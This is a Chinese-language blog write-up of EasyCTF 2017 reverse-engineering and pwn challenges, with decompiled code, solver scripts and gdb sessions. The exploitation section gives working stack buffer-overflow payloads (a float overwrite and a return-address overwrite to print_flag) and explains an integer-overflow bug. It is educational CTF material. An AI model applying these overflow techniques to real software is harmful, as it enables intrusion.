EasyCTF 2017 Reverse Pwn Write Up

作者:Jing Ling
博客:HackFun

0x06 Reverse Engineering

Hexable

problem

I tried to hide a flag sneakily, can you find it? Download

solution

Phunky Python I

problem

The other day we happened upon a dusty old laptop covered in duct tape and surrounded by several papers with notes scrawled all over them. Upon inspection, we found that the laptop contained several python files labeled phunky.

We’ve determined that each of the files contains a mini reversing challenge. The first task is simple: Find the value of x such that the program prints out easyctf (make sure it’s lowercase!).

phunky1.py

solution

1
2
3
4
5
6
x = 9758391023608105872L - 102
digs = [9758391023608105871L, 9758391023608105867L, 9758391023608105885L, 9758391023608105891L, 9758391023608105869L, 9758391023608105886L, 9758391023608105872L]
out = ""
for letter in reversed(digs):
out = chr(letter - x) + out
print out + '{' + str(x) + '}'

flag:easyctf{9758391023608105770}

Useless Python

problem

Boredom took over, so I wrote this python file! I didn’t want anyone to see it though because it doesn’t actually run, so I used the coolest base-16 encoding to keep it secret. python

solution

1
2
3
4
5
6
7
8
s=open('useless.py').read()
s=s.decode('hex')
while True:
if 'exec(' in s:
s = eval(s[5:-1])
else:
break
print s

flag = 'easyctf{python_3x3c_exec_3xec_ex3c}'
priint flag

Phunky Python II

problem

We stumbled across another phunky Python file. Can you find the redacted value of jkx that makes this program print True?

solution

题目:

1
2
3
4
5
6
7
import operator
jkx = 0 # REDACTED
pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
jkx *= pork
pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
print b == 6548044661510965675361835669609097497614277988316628335954865908614987464656662774230164176397886049495203497380194320473112237121935351588106637391652296924206523967496334906449626062538176842451446687574581963609515235677360001918335627990557065870263618484501558703622228018822062325974112864876000000

第3行简化一下:

pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
pork = (3*jkx+11)-(1234/617)*jkx-12
pork = 3*jkx+11-2*jkx-12
pork = jkx - 1

结合第四行再次简化:

jkx = jkx*(jkx-1)

第五行:pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))是生成小于10000的所有质数列表(这语法骚得不行Orz)

第六行:b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))

即:

b = 1
for i in range(len(str(jkx))):
    b = b * (pp[i] ** int(str(jkx)[i])

比如我们输入jkx值为123,那么就会计算b = (2 ^ 1) (3 ^ 2) (5 ^ 3)

参考ValarDragon表哥的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import numpy as np
import math
#First step:
#Factor the number
endnum = 1165547315017833928671818221519514360217364769512850694972634276966608764777139685632107196533251916113636826873618982702626918260245806732321339626796631711528838400321866758812099562803500967678699400226626798016068690575469938736199168207523212687169370000
primes = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
exps = []
#get prime factorization
for i in primes:
k = 0
while(endnum % i == 0):
k+=1
endnum /= i
exps.append(k)
if(endnum == 1):
break
print("exponents = %s" %exps)
#Factorization obtained
def floorSqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
jkx2 = ""
for k in exps:
jkx2 += str(k)
jkx2 = int(jkx2)
while(True):
breakEarly = False
try:
jkxapprox = floorSqrt(jkx2)
assert jkx2 == jkxapprox*(jkxapprox+1)
print("jkx2 = %s" % jkx2)
print("jkx = %s" % (jkxapprox+1))
breakEarly = True
break
except AssertionError:
pass
if(breakEarly):
break
jkx2 *= 10

Lucky Guess

problem

Would you like to play a guessing game?

solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [email protected]
const char *v5; // [email protected]
__int64 v6; // [email protected]
int v7; // [email protected]
__int64 v8; // [email protected]
int v9; // [sp+0h] [bp-A0h]@1
int v10; // [sp+4h] [bp-9Ch]@1
int i; // [sp+8h] [bp-98h]@3
int v12; // [sp+Ch] [bp-94h]@1
int v13[36]; // [sp+10h] [bp-90h]@1
primp();
qmemcpy(v13, "g", 0x88uLL);
v3 = time(0LL);
srand(v3);
v12 = rand() % 0x4000000;
v10 = 0;
v9 = 0;
while ( 1 )
{
v7 = v10++;
if ( v7 > 22 )
{
LODWORD(v8) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"no dice.");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
return 0;
}
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Guess? ");
std::istream::operator>>(&std::cin, &v9);
if ( v9 == v12 )
break;
if ( v9 >= v12 )
v5 = "hi";
else
v5 = "lo";
LODWORD(v6) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)v5);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
for ( i = 0; (unsigned __int64)i < 0x22; ++i )
std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)(v13[i] ^ c610[4 * i]));
return 1;
}

if ( v9 == v12 ) break;执行成功跳出while循环,进入for循环得到flag,最简单的方式就是修改jnz指令为nop指令:

Hex QR

problem

I’ve stumbled upon a very strange QR code… seems like it was generated with this generator. What could it mean?

solution

writeup

67k

problem

Here are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn’t be too difficult as the binaries are numbered) and then from there I’m sure you can figure it out.

Hint: Maybe write a script.

solution

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
import r2pipe
import json
import sys
import time
import os
# shift arithmetic right copied from http://stackoverflow.com/a/5833119
def rshift(val, n):
return val>>n if val >= 0 else (val+0x100000000)>>n
if __name__ == "__main__":
r2p = r2pipe.open(sys.argv[1])
r2p.cmd("aaa")
# get the name of the function that does the operation
t = r2p.cmd("aflj")
d = json.loads(t)
fc_name = d[0]["name"]
if fc_name == "entry0":
fc_name = d[1]["name"]
# determine if sub, add, or xor is used
t = r2p.cmd("pdj [email protected]%s" %( fc_name))
d = json.loads(t)
ins = d[0]["opcode"]
# get the value of EAX
t = r2p.cmd("pdj [email protected]+0x1f")
d = json.loads(t)
pointer = d[0]["esil"].split(",")[0]
pointer = int(pointer, 16)
t = r2p.cmd("pxrj [email protected]%d" % (pointer,))
d = json.loads(t)
eax = d[0]["value"]
# get the value of ECX
t = r2p.cmd("pdj [email protected]+0x24")
d = json.loads(t)
ecx = d[0]["opcode"].split()[-1]
ecx = int(ecx, 16)
# determine the operation used by do_foo()
answer = 0
if "sub" in ins:
answer = eax - ecx
elif "xor" in ins:
answer = eax ^ ecx
elif "add" in ins:
answer = eax + ecx
# get value to use for SAR operation
t = r2p.cmd("pdj [email protected]+0x36")
d = json.loads(t)
pointer = d[0]["esil"].split(",")[0]
pointer = int(pointer, 16)
t = r2p.cmd("pxrj [email protected]%d" % (pointer,))
t = t.replace("\\x", "")
d = json.loads(t)
val = d[0]["value"]
cl = val & 0xFF
# get the solution to the challenge
solve = rshift(answer, cl)
solve = solve & 0xff
sys.stdout.write("%c" % (solve,))

Heaps of Knowledge

problem

Can you pwn this? Navigate to /problems/heaps_of_knowledge/ on the shell server and read flag.txt.

Binary

solution

writeup

Morphin

Welcome to the RE training course, this problem has 4 phases. Solve all four to get the flag.

Note: On phase 1 round to 6 significant figures.

Download

writeup

0x07 Binary Exploitation

Risky Business

problem

We wanted to branch into the casino business, but human employees are too expensive so we decided to automate it. I feel like we missed something obvious though… Oh well! Here’s the binary: casino

Solve this problem by logging into the shell server and navigating to /problems/casino.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // [email protected]
__int64 v4; // [email protected]
__int64 v5; // [email protected]
int v6; // [email protected]
__int64 v7; // [email protected]
__int64 v8; // [email protected]
__int64 v9; // [email protected]
__int64 v10; // [email protected]
__int64 v11; // [email protected]
__int64 v13; // [email protected]
int v14; // [email protected]
__int64 v15; // [email protected]
bool v16; // [email protected]
__int64 v17; // [email protected]
__int64 v18; // [email protected]
__int64 v19; // [email protected]
__int64 v20; // [email protected]
__int64 v21; // [email protected]
int v22; // [sp+Ch] [bp-1C4h]@4
char v23; // [sp+10h] [bp-1C0h]@4
char v24; // [sp+30h] [bp-1A0h]@4
__int64 v25; // [sp+B0h] [bp-120h]@4
__int64 v26; // [sp+1B8h] [bp-18h]@1
v26 = *MK_FP(__FS__, 40LL);
LODWORD(v3) = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to the EasyCTF 2017 Casino", envp);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
LODWORD(v5) = std::operator<<<std::char_traits<char>>(
&std::cout,
"Try your luck and gain access to our exclusive club!",
v4);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
v6 = networth;
LODWORD(v8) = std::operator<<<std::char_traits<char>>(&std::cout, "Your net worth is: $", v7);
LODWORD(v9) = std::ostream::operator<<(v8, (unsigned int)v6);
v10 = v9;
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
if ( networth > 2000000000 )
break;
LODWORD(v13) = std::operator<<<std::char_traits<char>>(
&std::cout,
"Please enter how much you would like to bet:",
v11);
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v23);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&_TMC_END__, &v23);
v14 = std::operator|(16LL, 8LL);
std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(
&v24,
&v23,
(unsigned int)v14);
std::istream::operator>>(&v24, &v22);
v16 = (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v25) ^ 1
|| (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::fail(&v25);
if ( v16 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "That was not a valid number :(", v15);
}
else if ( v22 > 0 )
{
if ( v22 <= 100000000 )
{
if ( (unsigned __int8)gamble() ^ 1 )
{
LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :(", v19);
std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
networth -= v22;
}
else
{
LODWORD(v21) = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations, you won!", v19);
std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);
networth += v22;
}
}
else
{
LODWORD(v18) = std::operator<<<std::char_traits<char>>(
&std::cout,
"Sorry, the most we can allow you to bet is $100,000,000",
v15);
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
}
}
else
{
LODWORD(v17) = std::operator<<<std::char_traits<char>>(&std::cout, "You must bet a positive amount", v15);
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
}
std::__cxx11::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream((__int64)&v24);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v23);
}
printflag(v10, (__int64)&std::endl<char,std::char_traits<char>>, v11);
return 0;
}

整型溢出问题,大致先看了一下逻辑,只要满足networth > 2000000000就可以跳出while循环获取到flag,network是int类型的,而在:

1
2
3
4
5
6
if ( (unsigned __int8)gamble() ^ 1 )
{
LODWORD(v20) = std::operator<<<std::char_traits<char>>(&std::cout, "Sorry, I'm afraid you've lost :(", v19);
std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
networth -= v22;
}

中并没有先判断network值是否小于0就直接相减,这样导致余额为负也还可以继续赌(和)博(谐):

32位下int: 4 byte = 32 bit 有符号signed范围:2^31-1 ~ -2^31 即:2147483647 ~ -2147483648,当我们的余额小于还小于-2147483648时就会溢出,而溢出处理是环形的,画个简图:

Doubly Dangerous

problem

There seems to be an issue with this binary. Can you exploit it? View the problem in the shell server /problems/doubly_dangerous directory.

solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+Ch] [bp-4Ch]@1
float v5; // [sp+4Ch] [bp-Ch]@1
v5 = 0.0;
puts("Give me a string: ");
gets(&s);
if ( 11.28125 == v5 )
{
puts("Success! Here is your flag:");
give_flag();
}
else
{
puts("nope!");
}
return 0;
}

我们要做的就是让if ( 11.28125 == v5 )成立,又使用了gets(),估计与溢出有关。
运行一下:

[email protected]:~/Desktop$ ./doubly_dangerous 
Give me a string: 
flag
nope!
[email protected]:~/Desktop$ ./doubly_dangerous
Give me a string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nope!
Segmentation fault (core dumped)

果然是溢出,于是gdb看一下:

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048607 <+0>:    lea    ecx,[esp+0x4]
   0x0804860b <+4>:    and    esp,0xfffffff0
   0x0804860e <+7>:    push   DWORD PTR [ecx-0x4]
   0x08048611 <+10>:    push   ebp
   0x08048612 <+11>:    mov    ebp,esp
   0x08048614 <+13>:    push   ecx
   0x08048615 <+14>:    sub    esp,0x54
   0x08048618 <+17>:    fldz   
   0x0804861a <+19>:    fstp   DWORD PTR [ebp-0xc]
   0x0804861d <+22>:    sub    esp,0xc
   0x08048620 <+25>:    push   0x8048735
   0x08048625 <+30>:    call   0x8048410 <[email protected]>
   0x0804862a <+35>:    add    esp,0x10
   0x0804862d <+38>:    sub    esp,0xc
   0x08048630 <+41>:    lea    eax,[ebp-0x4c]
   0x08048633 <+44>:    push   eax
   0x08048634 <+45>:    call   0x80483e0 <[email protected]>
   0x08048639 <+50>:    add    esp,0x10
   0x0804863c <+53>:    fld    DWORD PTR [ebp-0xc]
   0x0804863f <+56>:    fld    DWORD PTR ds:0x804876c
   0x08048645 <+62>:    fucomip st,st(1)
   0x08048647 <+64>:    jp     0x804866c <main+101>
---Type <return> to continue, or q <return> to quit---c
   0x08048649 <+66>:    fld    DWORD PTR ds:0x804876c
   0x0804864f <+72>:    fucomip st,st(1)
   0x08048651 <+74>:    fstp   st(0)
   0x08048653 <+76>:    jne    0x804866e <main+103>
   0x08048655 <+78>:    sub    esp,0xc
   0x08048658 <+81>:    push   0x8048748
   0x0804865d <+86>:    call   0x8048410 <[email protected]>
   0x08048662 <+91>:    add    esp,0x10
   0x08048665 <+94>:    call   0x804857b <give_flag>
   0x0804866a <+99>:    jmp    0x804867e <main+119>
   0x0804866c <+101>:    fstp   st(0)
   0x0804866e <+103>:    sub    esp,0xc
   0x08048671 <+106>:    push   0x8048764
   0x08048676 <+111>:    call   0x8048410 <[email protected]>
   0x0804867b <+116>:    add    esp,0x10
   0x0804867e <+119>:    mov    eax,0x0
   0x08048683 <+124>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048686 <+127>:    leave  
   0x08048687 <+128>:    lea    esp,[ecx-0x4]
   0x0804868a <+131>:    ret    
End of assembler dump.

大致看了之后,看到其中的:

0x0804863c <+53>:    fld    DWORD PTR [ebp-0xc]
0x0804863f <+56>:    fld    DWORD PTR ds:0x804876c
0x08048645 <+62>:    fucomip st,st(1)

根据题意就是溢出覆盖ebp-0xc的值使之和0x804876c所指的值相等。于是不断尝试输入查看ebp-0xc所指的值的变化,当输入64个A字符时没有覆盖:

(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x8048615
(gdb) r < 64A.txt 
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 64A.txt

Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x080486b1

当输入65个A字符时开始覆盖(A字符的ASCII码的十六进制是41):

(gdb) r < 65A.txt 
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 65A.txt

Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc:    0x08048641

接下再看一下0x804876c所指的值:

(gdb) x/wx 0x804876c
0x804876c: 0x41348000

于是构造payload:'A' * 64 + '\x00\x80\x34\x41'

python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
Give me a string: 
Success! Here is your flag:
easyctf{bofs_and_floats_are_d0uble_tr0uble!}

Simple Rop

problem

On the shell there is a folder /problems/simple-rop.

Read flag.txt

Source

Binary

solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// simple-rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
void print_flag();
void what_did_you_say();
int main(int argc, char* argv[])
{
gid_t gid = getegid();
setresgid(gid, gid, gid);
what_did_you_say();
return 0;
}
void print_flag()
{
system("cat flag.txt");
}
void what_did_you_say()
{
char buff[64];
gets(buff);
printf("You said: %s\n", buff);
}

看了源码,很显然要让我们调用print_flag()函数,于是先gdb看一下print_flag()函数的地址:

(gdb) disas print_flag
Dump of assembler code for function print_flag:
   0x0804851a <+0>:    push   %ebp
   0x0804851b <+1>:    mov    %esp,%ebp
   0x0804851d <+3>:    sub    $0x8,%esp
   0x08048520 <+6>:    sub    $0xc,%esp
   0x08048523 <+9>:    push   $0x80485e0
   0x08048528 <+14>:    call   0x80483a0 <[email protected]>
   0x0804852d <+19>:    add    $0x10,%esp
   0x08048530 <+22>:    nop
   0x08048531 <+23>:    leave  
   0x08048532 <+24>:    ret    
End of assembler dump.

地址为:0x0804851a,缓存为64字符,所以写个shell脚本跑一下:

#!/bin/bash  

for i in {64..80};  
do
    python -c "print 'A' * $i + '\x1a\x85\x04\x08'" | ./simple-rop
done

当跑到python -c 'print "A"*76+"\x1a\x85\x04\x08"' | ./simple-rop成功调用print_flag()函数:

easyctf{r0p_7o_v1ct0ry}